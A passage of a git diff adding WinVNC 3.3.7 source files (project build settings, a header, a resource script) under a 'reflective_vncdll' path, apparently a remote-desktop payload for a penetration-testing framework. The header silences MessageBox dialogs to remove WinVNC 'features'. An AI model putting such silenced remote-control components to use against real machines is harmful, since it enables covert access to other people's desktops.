"\\lce\root\lce\orl\omni\omni3\include" /D "NDEBUG" /D "_CORBA" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c +# ADD CPP /nologo /MDd /W3 /GX /ZI /Od /I "\\lce\root\lce\orl\omni\omni3\include" /I "..\omnithread" /I ".." /I "..\.." /D "_DEBUG" /D "_CORBA" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib omniORB304_rt.lib omniDynamic304_rt.lib /nologo /subsystem:windows /machine:I386 /libpath:"\\lce\root\lce\orl\omni\omni3\lib\x86_win32" +# ADD LINK32 omniORB304_rtd.lib omniDynamic304_rtd.lib kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib ole32.lib /nologo /subsystem:windows /incremental:yes /debug /machine:I386 /libpath:"\\lce\root\lce\orl\omni\omni3\lib\x86_win32" + +!ELSEIF "$(CFG)" == "winvnc - Win32 Profile" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "winvnc___Win32_Profile" +# PROP BASE Intermediate_Dir "winvnc___Win32_Profile" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Profile" +# PROP Intermediate_Dir "..\Profile" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /I "..\omnithread" /I ".." /I "..\.." /D "_DEBUG" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /I "..\omnithread" /I ".." /I "..\.." /D "_DEBUG" /D "__x86__" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib wsock32.lib shell32.lib advapi32.lib ole32.lib /nologo /subsystem:windows /profile /debug /machine:I386 +# Begin Special Build Tool +SOURCE="$(InputPath)" +PreLink_Cmds=cl /nologo /MTd /Fo..\Debug\ /Fd..\Debug\ /c buildtime.cpp +# End Special Build Tool + +!ENDIF + +# Begin Target + +# Name "winvnc - Win32 Release" +# Name "winvnc - Win32 Debug" +# Name "winvnc - Win32 Release CORBA" +# Name "winvnc - Win32 Release CORBA DEBUG" +# Name "winvnc - Win32 Profile" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\buildtime.cpp +# End Source File +# Begin Source File + +SOURCE=.\d3des.c +# End Source File +# Begin Source File + +SOURCE=.\rfbRegion.cpp +# PROP Exclude_From_Build 1 +# End Source File +# Begin Source File + +SOURCE=.\rfbRegion_win32.cpp +# PROP Exclude_From_Build 1 +# End Source File +# Begin Source File + +SOURCE=.\rfbRegion_X11.cxx +# End Source File +# Begin Source File + +SOURCE=.\rfbUpdateTracker.cpp +# End Source File +# Begin Source File + +SOURCE=.\stdhdrs.cpp +# End Source File +# Begin Source File + +SOURCE=.\tableinitcmtemplate.cpp + +!IF "$(CFG)" == "winvnc - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Debug" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA DEBUG" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Profile" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=.\tableinittctemplate.cpp + +!IF "$(CFG)" == "winvnc - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Debug" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA DEBUG" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Profile" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=.\tabletranstemplate.cpp + +!IF "$(CFG)" == "winvnc - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Debug" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA DEBUG" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Profile" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=.\translate.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncabout.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncacceptdialog.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncauth.c +# End Source File +# Begin Source File + +SOURCE=.\vncbuffer.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncclient.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncconndialog.cpp +# End Source File +# Begin Source File + +SOURCE=.\vnccorbaconnect.cpp + +!IF "$(CFG)" == "winvnc - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Debug" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA" + +# PROP BASE Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA DEBUG" + +!ELSEIF "$(CFG)" == "winvnc - Win32 Profile" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=.\vncdesktop.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncencodecorre.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncencodehext.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncencoder.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncencoderre.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncencodezrle.cxx +# End Source File +# Begin Source File + +SOURCE=.\vnchttpconnect.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncinsthandler.cpp +# End Source File +# Begin Source File + +SOURCE=.\vnckeymap.cpp +# End Source File +# Begin Source File + +SOURCE=.\vnclog.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncmenu.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncproperties.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncserver.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncservice.cpp +# End Source File +# Begin Source File + +SOURCE=.\vncsk.cpp + +!IF "$(CFG)" == "winvnc - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Debug" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA" + +# PROP BASE Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "winvnc - Win32 Release CORBA DEBUG" + +!ELSEIF "$(CFG)" == "winvnc - Win32 Profile" + +# PROP BASE Exclude_From_Build 1 +# PROP Exclude_From_Build 1 + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=.\vncsockconnect.cpp +# End Source File +# Begin Source File + +SOURCE=.\vnctimedmsgbox.cpp +# End Source File +# Begin Source File + +SOURCE=.\vsocket.cpp +# End Source File +# Begin Source File + +SOURCE=.\winvnc.cpp +# End Source File +# Begin Source File + +SOURCE=.\winvnc.rc +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\d3des.h +# End Source File +# Begin Source File + +SOURCE=.\keysymdef.h +# End Source File +# Begin Source File + +SOURCE=.\resource.h +# End Source File +# Begin Source File + +SOURCE=.\rfb.h +# End Source File +# Begin Source File + +SOURCE=.\rfbMisc.h +# End Source File +# Begin Source File + +SOURCE=.\rfbRect.h +# End Source File +# Begin Source File + +SOURCE=.\rfbRegion.h +# End Source File +# Begin Source File + +SOURCE=.\rfbRegion_win32.h +# End Source File +# Begin Source File + +SOURCE=.\rfbRegion_X11.h +# End Source File +# Begin Source File + +SOURCE=.\rfbUpdateTracker.h +# End Source File +# Begin Source File + +SOURCE=.\stdhdrs.h +# End Source File +# Begin Source File + +SOURCE=.\translate.h +# End Source File +# Begin Source File + +SOURCE=.\vnc.hh +# End Source File +# Begin Source File + +SOURCE=.\vncabout.h +# End Source File +# Begin Source File + +SOURCE=.\vncacceptdialog.h +# End Source File +# Begin Source File + +SOURCE=.\vncauth.h +# End Source File +# Begin Source File + +SOURCE=.\vncbuffer.h +# End Source File +# Begin Source File + +SOURCE=.\vncclient.h +# End Source File +# Begin Source File + +SOURCE=.\vncconndialog.h +# End Source File +# Begin Source File + +SOURCE=.\vnccorbaconnect.h +# End Source File +# Begin Source File + +SOURCE=.\vncdesktop.h +# End Source File +# Begin Source File + +SOURCE=.\vncencodecorre.h +# End Source File +# Begin Source File + +SOURCE=.\vncencodehext.h +# End Source File +# Begin Source File + +SOURCE=.\vncencodemgr.h +# End Source File +# Begin Source File + +SOURCE=.\vncencoder.h +# End Source File +# Begin Source File + +SOURCE=.\vncencoderre.h +# End Source File +# Begin Source File + +SOURCE=.\vncencodezrle.h +# End Source File +# Begin Source File + +SOURCE=.\vnchttpconnect.h +# End Source File +# Begin Source File + +SOURCE=.\vncinsthandler.h +# End Source File +# Begin Source File + +SOURCE=.\vnckeymap.h +# End Source File +# Begin Source File + +SOURCE=.\vnclog.h +# End Source File +# Begin Source File + +SOURCE=.\vncmenu.h +# End Source File +# Begin Source File + +SOURCE=.\vncpasswd.h +# End Source File +# Begin Source File + +SOURCE=.\vncproperties.h +# End Source File +# Begin Source File + +SOURCE=.\vncserver.h +# End Source File +# Begin Source File + +SOURCE=.\vncservice.h +# End Source File +# Begin Source File + +SOURCE=.\vncsockconnect.h +# End Source File +# Begin Source File + +SOURCE=.\vnctimedmsgbox.h +# End Source File +# Begin Source File + +SOURCE=.\vsocket.h +# End Source File +# Begin Source File + +SOURCE=.\vtypes.h +# End Source File +# Begin Source File + +SOURCE=.\winvnc.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# Begin Source File + +SOURCE=.\res\animatedmemoryimagesource.class +# End Source File +# Begin Source File + +SOURCE=.\res\authenticationpanel.class +# End Source File +# Begin Source File + +SOURCE=.\res\clipboardframe.class +# End Source File +# Begin Source File + +SOURCE=.\res\descipher.class +# End Source File +# Begin Source File + +SOURCE=.\res\icon1.ico +# End Source File +# Begin Source File + +SOURCE=.\res\optionsframe.class +# End Source File +# Begin Source File + +SOURCE=.\res\rfbproto.class +# End Source File +# Begin Source File + +SOURCE=.\res\vnc.bmp +# End Source File +# Begin Source File + +SOURCE=.\res\vnccanvas.class +# End Source File +# Begin Source File + +SOURCE=.\res\vncviewer.class +# End Source File +# Begin Source File + +SOURCE=.\res\vncviewer.jar +# End Source File +# Begin Source File + +SOURCE=.\res\winvnc.ico +# End Source File +# End Group +# Begin Source File + +SOURCE=..\..\BUILDING.txt +# End Source File +# Begin Source File + +SOURCE=..\building.txt +# End Source File +# Begin Source File + +SOURCE=..\history.txt +# End Source File +# Begin Source File + +SOURCE=..\..\LICENCE.txt +# End Source File +# Begin Source File + +SOURCE=..\README_BINARY.txt +# End Source File +# End Target +# End Project diff --git a/external/source/reflective_vncdll/winvnc/winvnc/winvnc.h b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.h new file mode 100644 index 0000000000..c4a3f5881c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.h @@ -0,0 +1,71 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// WinVNC header file + +#include "stdhdrs.h" +#include "resource.h" + +// Kill some of the WinVNC 'features' +#undef MessageBox +#define MessageBox(a,b,c,d) (int)0 + +// Application specific messages + +// Message used for system tray notifications +#define WM_TRAYNOTIFY WM_USER+1 + +// Messages used for the server object to notify windows of things +#define WM_SRV_CLIENT_CONNECT WM_USER+2 +#define WM_SRV_CLIENT_AUTHENTICATED WM_USER+3 +#define WM_SRV_CLIENT_DISCONNECT WM_USER+4 + +// Export the application details +extern HINSTANCE hAppInstance; +extern const char *szAppName; +extern DWORD mainthreadId; + +// Main VNC server routine +extern int WinVNCAppMain(); + +// Standard command-line flag definitions +const char winvncRunService[] = "-service"; +const char winvncRunServiceHelper[] = "-servicehelper"; +const char winvncRunAsUserApp[] = "-run"; + +const char winvncInstallService[] = "-install"; +const char winvncRemoveService[] = "-remove"; +const char winvncReinstallService[] = "-reinstall"; + +const char winvncShowProperties[] = "-settings"; +const char winvncShowDefaultProperties[] = "-defaultsettings"; +const char winvncShowAbout[] = "-about"; +const char winvncKillRunningCopy[] = "-kill"; + +const char winvncAddNewClient[] = "-connect"; + +const char winvncShowHelp[] = "-help"; + +// Usage string +const char winvncUsageText[] = "winvnc [-run] [-kill] [-connect ] [-connect] [-install] [-remove] [-settings] [-defaultsettings] [-about]\n"; diff --git a/external/source/reflective_vncdll/winvnc/winvnc/winvnc.rc b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.rc new file mode 100644 index 0000000000..d3becee1d8 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.rc @@ -0,0 +1,414 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (U.K.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) +#ifdef _WIN32 +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK +#pragma code_page(1252) +#endif //_WIN32 + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_PROPERTIES DIALOG DISCARDABLE 0, 0, 339, 170 +STYLE DS_MODALFRAME | DS_SETFOREGROUND | DS_3DLOOK | DS_CENTER | + WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU +CAPTION "Property Page" +FONT 8, "MS Sans Serif" +BEGIN + PUSHBUTTON "&Cancel",IDCANCEL,280,149,54,14 + DEFPUSHBUTTON "&OK",IDOK,165,149,55,15 + GROUPBOX "Incoming Connections",IDC_CONNECT_BORDER,5,5,155,85 + CONTROL "Accept Socket Connections",IDC_CONNECT_SOCK,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,10,15,145,15 + CONTROL "Enable CORBA",IDC_CONNECT_CORBA,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,90,70,65,15 + EDITTEXT IDC_PORTNO,85,50,30,15,ES_AUTOHSCROLL | ES_NUMBER + EDITTEXT IDC_PASSWORD,85,30,70,15,ES_PASSWORD | ES_AUTOHSCROLL + GROUPBOX "Update Handling",IDC_UPDATE_BORDER,165,70,169,74 + CONTROL "Poll Full Screen",IDC_POLL_FULLSCREEN,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,170,80,100,20 + CONTROL "Poll Console Windows Only",IDC_CONSOLE_ONLY,"Button", + BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,270,80,60,20 + CONTROL "Poll Foreground Window",IDC_POLL_FOREGROUND,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,170,100,100,20 + CONTROL "Poll Window Under Cursor",IDC_POLL_UNDER_CURSOR,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,170,118,100,22 + CONTROL "Poll On Event Received Only",IDC_ONEVENT_ONLY,"Button", + BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,270,100,60, + 20 + CONTROL "Disable Remote Keyboard && Pointer",IDC_DISABLE_INPUTS, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,170,15,145,15 + PUSHBUTTON "&Apply",IDC_APPLY,225,149,50,14 + CONTROL "Disable Local Keyboard && Pointer", + IDC_DISABLE_LOCAL_INPUTS,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,170,30,145,15 + GROUPBOX "Connection Settings",IDC_CONNSETTINGS_BORDER,165,5,169, + 60 + CONTROL "Remove Desktop Wallpaper",IDC_REMOVE_WALLPAPER,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,170,45,145,15 + LTEXT "Password:",IDC_PASSWORD_LABEL,20,30,55,15, + SS_CENTERIMAGE + CONTROL "Enable Java Viewer",IDC_CONNECT_HTTP,"Button", + BS_AUTOCHECKBOX | WS_TABSTOP,10,70,75,15 + GROUPBOX "When Last Client Disconnects",IDC_LOCKSETTINGS,5,95,155, + 68 + CONTROL "Do Nothing",IDC_LOCKSETTING_NOTHING,"Button", + BS_AUTORADIOBUTTON | WS_GROUP | WS_TABSTOP,10,109,80,16 + CONTROL "Logoff Workstation",IDC_LOCKSETTING_LOGOFF,"Button", + BS_AUTORADIOBUTTON | WS_TABSTOP,10,140,80,16 + CONTROL "Lock Workstation",IDC_LOCKSETTING_LOCK,"Button", + BS_AUTORADIOBUTTON | WS_TABSTOP,10,125,80,16 + LTEXT "Display Number:",IDC_DISPLAY_NO_LABEL,20,50,55,15, + SS_CENTERIMAGE + CONTROL "Auto",IDC_AUTO_DISPLAY_NO,"Button",BS_AUTOCHECKBOX | + WS_TABSTOP,120,50,35,15 +END + +IDD_ABOUT DIALOG DISCARDABLE 0, 0, 336, 108 +STYLE DS_MODALFRAME | DS_SETFOREGROUND | DS_CENTER | WS_POPUP | WS_CAPTION | + WS_SYSMENU +CAPTION "About WinVNC" +FONT 8, "MS Sans Serif" +BEGIN + DEFPUSHBUTTON "OK",IDOK,249,80,80,20 + CONTROL 132,IDC_VNCLOGO,"Static",SS_BITMAP | SS_CENTERIMAGE | + SS_SUNKEN,7,5,83,75 + LTEXT "WinVNC Version 3.3.7",IDC_VERSION,100,9,229,11 + LTEXT "by James Weatherall",IDC_NAME,100,20,229,10 + LTEXT "Virtual Network Computing",IDC_VNC,100,50,229,10 + LTEXT "For more information, see http://www.realvnc.com/", + IDC_WWW,100,60,229,10 + LTEXT "Copyright 1997-2001 - AT&&T Labs Cambridge", + IDC_COPYRIGHT,7,90,233,10 + LTEXT "Copyright 2002-2003 - RealVNC Ltd.",IDC_TRADEMARK,7,80, + 233,10 + LTEXT "Build",IDC_BUILDTEXT,100,30,20,10 + LTEXT "BuildTime",IDC_BUILDTIME,120,30,209,10 +END + +IDD_OUTGOING_CONN DIALOG DISCARDABLE 0, 0, 243, 47 +STYLE DS_MODALFRAME | DS_SETFOREGROUND | DS_CENTER | WS_POPUP | WS_VISIBLE | + WS_CAPTION | WS_SYSMENU +CAPTION "Initiate Outgoing Connection (Add New Client)" +FONT 8, "MS Sans Serif" +BEGIN + RTEXT "Host Name:",IDC_HOSTNAME_STATIC,7,6,43,14, + SS_CENTERIMAGE + EDITTEXT IDC_HOSTNAME_EDIT,55,6,130,14,ES_AUTOHSCROLL + DEFPUSHBUTTON "OK",IDOK,190,6,46,14 + PUSHBUTTON "Cancel",IDCANCEL,190,25,46,15 + CTEXT "(NB:Host must be running VNCviewer in 'listen' mode)", + IDC_NOTE_STATIC,7,25,178,15,SS_CENTERIMAGE +END + +IDD_ACCEPT_CONN DIALOG DISCARDABLE 0, 0, 186, 95 +STYLE DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION +CAPTION "Accept WinVNC Connection?" +FONT 8, "MS Sans Serif" +BEGIN + DEFPUSHBUTTON "&Accept",IDACCEPT,7,74,53,14 + PUSHBUTTON "&Reject",IDREJECT,130,74,49,14 + CTEXT "WinVNC has received an incoming connection from", + IDC_STATIC_TEXT1,7,7,172,17,SS_CENTERIMAGE + CTEXT "",IDC_ACCEPT_IP,7,30,172,16, + SS_CENTERIMAGE + CTEXT "Do you wish to Accept or Reject the connection?", + IDC_STATIC_TEXT,7,50,172,15,SS_CENTERIMAGE + CTEXT "AutoReject:",IDC_ACCEPT_TIMEOUT,60,74,70,14, + SS_CENTERIMAGE +END + + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO DISCARDABLE +BEGIN + IDD_PROPERTIES, DIALOG + BEGIN + LEFTMARGIN, 5 + RIGHTMARGIN, 334 + VERTGUIDE, 10 + VERTGUIDE, 15 + VERTGUIDE, 20 + VERTGUIDE, 70 + VERTGUIDE, 75 + VERTGUIDE, 85 + VERTGUIDE, 90 + VERTGUIDE, 95 + VERTGUIDE, 115 + VERTGUIDE, 120 + VERTGUIDE, 150 + VERTGUIDE, 155 + VERTGUIDE, 160 + VERTGUIDE, 165 + VERTGUIDE, 170 + VERTGUIDE, 180 + VERTGUIDE, 220 + VERTGUIDE, 225 + VERTGUIDE, 270 + VERTGUIDE, 275 + VERTGUIDE, 280 + VERTGUIDE, 330 + TOPMARGIN, 5 + BOTTOMMARGIN, 163 + HORZGUIDE, 15 + HORZGUIDE, 20 + HORZGUIDE, 25 + HORZGUIDE, 30 + HORZGUIDE, 40 + HORZGUIDE, 45 + HORZGUIDE, 50 + HORZGUIDE, 55 + HORZGUIDE, 60 + HORZGUIDE, 65 + HORZGUIDE, 70 + HORZGUIDE, 75 + HORZGUIDE, 85 + HORZGUIDE, 90 + HORZGUIDE, 95 + HORZGUIDE, 100 + HORZGUIDE, 109 + HORZGUIDE, 115 + HORZGUIDE, 120 + HORZGUIDE, 125 + HORZGUIDE, 134 + HORZGUIDE, 140 + HORZGUIDE, 144 + HORZGUIDE, 149 + HORZGUIDE, 155 + END + + IDD_ABOUT, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 329 + VERTGUIDE, 80 + VERTGUIDE, 90 + VERTGUIDE, 100 + VERTGUIDE, 120 + VERTGUIDE, 240 + VERTGUIDE, 249 + TOPMARGIN, 5 + BOTTOMMARGIN, 100 + HORZGUIDE, 9 + HORZGUIDE, 20 + HORZGUIDE, 30 + HORZGUIDE, 40 + HORZGUIDE, 50 + HORZGUIDE, 60 + HORZGUIDE, 70 + HORZGUIDE, 80 + HORZGUIDE, 90 + HORZGUIDE, 100 + END + + IDD_OUTGOING_CONN, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 236 + VERTGUIDE, 50 + VERTGUIDE, 55 + VERTGUIDE, 185 + VERTGUIDE, 190 + TOPMARGIN, 6 + BOTTOMMARGIN, 40 + HORZGUIDE, 20 + HORZGUIDE, 25 + END + + IDD_ACCEPT_CONN, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 179 + VERTGUIDE, 60 + VERTGUIDE, 130 + TOPMARGIN, 7 + BOTTOMMARGIN, 88 + HORZGUIDE, 24 + HORZGUIDE, 30 + HORZGUIDE, 46 + HORZGUIDE, 50 + HORZGUIDE, 65 + HORZGUIDE, 74 + END +END +#endif // APSTUDIO_INVOKED + + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 3,3,7,0 + PRODUCTVERSION 3,3,7,0 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080904b0" + BEGIN + VALUE "Comments", "\0" + VALUE "CompanyName", "RealVNC Ltd.\0" + VALUE "FileDescription", "VNC server for Win32\0" + VALUE "FileVersion", "3, 3, 7, 0\0" + VALUE "InternalName", "WinVNC\0" + VALUE "LegalCopyright", "Copyright RealVNC Ltd.© 2002-2003, AT&T Research Labs Cambridge© 1996-2001\0" + VALUE "LegalTrademarks", "VNC\0" + VALUE "OriginalFilename", "WinVNC.exe\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "RealVNC Ltd. - WinVNC\0" + VALUE "ProductVersion", "3, 3, 7, 0\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x809, 1200 + END +END + +#endif // !_MAC + + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_WINVNC ICON DISCARDABLE "res\\WinVNC.ico" +IDI_FLASH ICON DISCARDABLE "res\\icon1.ico" + +///////////////////////////////////////////////////////////////////////////// +// +// Menu +// + +IDR_TRAYMENU MENU DISCARDABLE +BEGIN + POPUP "tray" + BEGIN + MENUITEM "&Properties", ID_PROPERTIES + MENUITEM SEPARATOR + MENUITEM "Add &New Client", ID_OUTGOING_CONN + MENUITEM "&Disconnect All Clients", ID_KILLCLIENTS + MENUITEM SEPARATOR + MENUITEM "&About WinVNC", ID_ABOUT + MENUITEM SEPARATOR + MENUITEM "&Close VNC", ID_CLOSE + END +END + + +///////////////////////////////////////////////////////////////////////////// +// +// JAVAARCHIVE +// + +IDR_VNCVIEWER_JAR JAVAARCHIVE DISCARDABLE "res\\vncviewer.jar" + +///////////////////////////////////////////////////////////////////////////// +// +// JAVACLASS +// + +IDR_AUTHPANEL_CLASS JAVACLASS DISCARDABLE "res\\authenticationPanel.class" +IDR_CLIPBOARDFRAME_CLASS JAVACLASS DISCARDABLE "res\\clipboardFrame.class" +IDR_OPTIONSFRAME_CLASS JAVACLASS DISCARDABLE "res\\optionsFrame.class" +IDR_RFBPROTO_CLASS JAVACLASS DISCARDABLE "res\\rfbProto.class" +IDR_VNCCANVAS_CLASS JAVACLASS DISCARDABLE "res\\vncCanvas.class" +IDR_VNCVIEWER_CLASS JAVACLASS DISCARDABLE "res\\vncviewer.class" +IDR_ANIMMEMIMAGESRC_CLASS JAVACLASS DISCARDABLE "res\\animatedMemoryImageSource.class" +IDR_DESCIPHER_CLASS JAVACLASS DISCARDABLE "res\\DesCipher.class" + +///////////////////////////////////////////////////////////////////////////// +// +// Bitmap +// + +IDB_VNCLOGO BITMAP DISCARDABLE "res\\vnc.bmp" + +///////////////////////////////////////////////////////////////////////////// +// +// String Table +// + +STRINGTABLE DISCARDABLE +BEGIN + IDI_WINVNC "WinVNC" +END + +#endif // English (U.K.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED 